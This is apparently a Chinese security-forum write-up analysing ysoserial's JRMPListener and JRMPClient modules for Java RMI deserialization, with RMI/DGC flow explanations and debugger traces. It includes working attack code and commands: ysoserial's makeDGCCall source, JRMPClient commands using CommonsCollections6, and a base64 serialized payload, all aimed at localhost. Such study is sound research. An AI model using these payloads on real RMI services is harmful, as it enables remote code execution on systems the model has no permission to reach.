Ysoserial JRMPListener/Client Review
Boogipop 发表于 海南 WEB安全 1206浏览 · 2024-02-27 03:13

之前对这玩意儿还是不太熟悉呢,RMI的流程是熟悉了,但是这个还是有点混淆,特此记录。
有关RMI的直接推荐看一下Su18师傅的
https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93
这个写的不错我觉得。思路和条理都比较清晰,但是光看还是不行的。比我写的好,理清一下思路。(我自己都不想看自己写的)
也就是说当RMI Client发起请求后,流程大概如下

  1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
  4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI 客户端反序列化 RMI 远程方法调用结果。

上述是su18写的原话,我感觉是精华。结构感很强,我看的很懂,因为之前也自己分析过一遍流程,所以看的比较明白。

Exploit

JRMPListenr

顾名思义就是起一个恶意的JRMP 监听器,用于接收一个JRMP请求,然后将恶意的序列化数据返回给我们的客户端,在客户端完成反序列化流程,最终RCE。这里演示一遍简单的流程,首先需要准备一下yso源码,然后写一个简单的demo请求这个Evil Listener

package com.javasec;

public class Demo {
    @Test
    public void test() throws Exception {
        Naming.lookup("rmi://127.0.0.1:7777/xxxx");
    }
}

yso这边设置启动项

运行之后就会发现弹出了客户端弹出了计算器。

流程分析

这边进行双向流程分析,受害机和服务端的流程分析。
首先当客户端进行lookup后,服务端的thread会接收请求

进入到doMessage流程,然后会在client这边获取到op

获取之后返回给服务端

这里op是80,对应TransportConstants.Call进入docall方法。

在这里开始设置恶意的返回值。

注意这里设置了TransportConstants.ExceptionalReturn,这与我们后续client处理请求有关系,然后设置了一下payloadObject,这里是CC5。
随之进入Client

这里的return type就是上面服务端设置的TransportConstants.ExceptionalReturn,因此我们会进入相应的case

这里就对输入流进行了原生的反序列化。到这里也就完成了RCE,还是很有趣的。

JRMPClient

参考下列的Payloads/JRMPListener部分,他是用来主动攻击我们开启的JRMP服务端的。
Yso中对应的源码是

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);

            dos.write(TransportConstants.Call);

            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objOut.writeLong(2); // DGC ObjID
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);

            objOut.writeInt(1); // dirty opnum is 1
            objOut.writeLong(-669196253586618813L); // hash

            objOut.writeObject(payloadObject); //will be unmarshaled as the first parameter

            os.flush();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
            if ( s != null ) {
                s.close();
            }
        }
    }

这里对应objOut.writeLong(-669196253586618813L);

对应objOut.writeInt(1); // dirty opnum is 1

也就导致了反序列化,其他的write往前追溯都可以找到。
这里就对应上述payload中的write一系列。

Payloads

payload模块对应的其实都是gadgets,rmi也有所谓的gadgets

JRMPListenr

首先payload/JRMPListenr的作用体现在,会让存在反序列化入口点的地方,主动开启一个恶意的端口,然后当我们往这个开启的端口送入恶意的参数时就会触发反序列化,从而导致RCE。这个payload用到的地方不太多。但是流程很有趣。

流程分析

其实我自己是比较习惯于正向分析一波先,但是这里为了让条理清晰一点,我选择逆向分析payload。

java -jar ysoserial-all.jar JRMPListener 8888|base64,使用这个payload
准备一个demo

package com.javasec;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.charset.StandardCharsets;
import java.rmi.Naming;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class Demo {
    @Test
    public void test() throws Exception {
        //Naming.lookup("rmi://127.0.0.1:7777/xxxx");
        SerializeUtils.base64deserial("rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAAIrhwcAAAAAAAAAAAcHAAcHBw");
        while (true) {
            System.out.println(System.currentTimeMillis());
            Thread.sleep(3000);
        }
    }
}

这里的while循环是为了让进程不结束,因为我们要开端口的,程序结束了那么啥都结束了。

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *

Yso给出了调用栈,我们跟着来一下

reexport函数

这里就是我们payload里的ActiveGroupImpl了。我们准备把他export。

用UnicastServerRef包裹了一下

这里就是一直export,我直接跳过了

到这里就listen开启监听了。然后我们就可以用exploit/jrmpclient去攻击这个地方了。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 8888 CommonsCollections6 calc

readObject:297, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1052690258 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

放一下stack,我们创建的listener接受到了请求

我们这其实是攻击了服务端的DGC,可以看到左下角的DGC_SKEL,然后会对请求进行原生的反序列化,也就导致了RCE。

JRMPClient

payloads/JRMPClient,这个gadgets是最常用的也是实战意义比较大的一个。它可以让反序列化点主动发起一个JRMP请求,然后我们配合exploit/JRMPListener开启一个监听。这样的话就可以成功的让client被攻击。是一种主动请求的方式。

流程分析

java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 7777 CommonsCollections6 calc

java -jar ysoserial-all.jar JRMPClient 127.0.0.1:8888|base64

成功弹出计算机,这个方法的原理刚刚也说了,我们逆向跟一下流程。首先我们看一下Yso的payloads怎么构造的

public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

他用了一个RemoteObjectInvocationHandler去包裹我们的UnicastRef,然后在RemoteObjectInvocationHandler

调用了UnicastRef的readExternal方法。

调用了LiveRef的read

DGCClient.registerRefs,到了DGC处理部分了。

在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统一在这里来说。
DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。
RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean:

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel。
引自Su18

这里是客户端DGC注册Ref

进入registerRefs

在这里要发起DirtyCall了。

dirty方法发起请求

进而回到了UnicastRef的newcall方法发起请求

至此完成主动访问Evil server的流程,Evil server返回payload给客户端进行Deser

结束。

Summary

还是感觉Yso这2个payload是挺有意思的,大家可以自己去尝试尝试,别搞混淆了,JRMP是RMI具有实战意义的gadgets,分析其中的流程可以让大家更好的理解RMI发序列化。到这里也算给自己的RMI做个小结。

0 条评论
某人
表情
可输入 255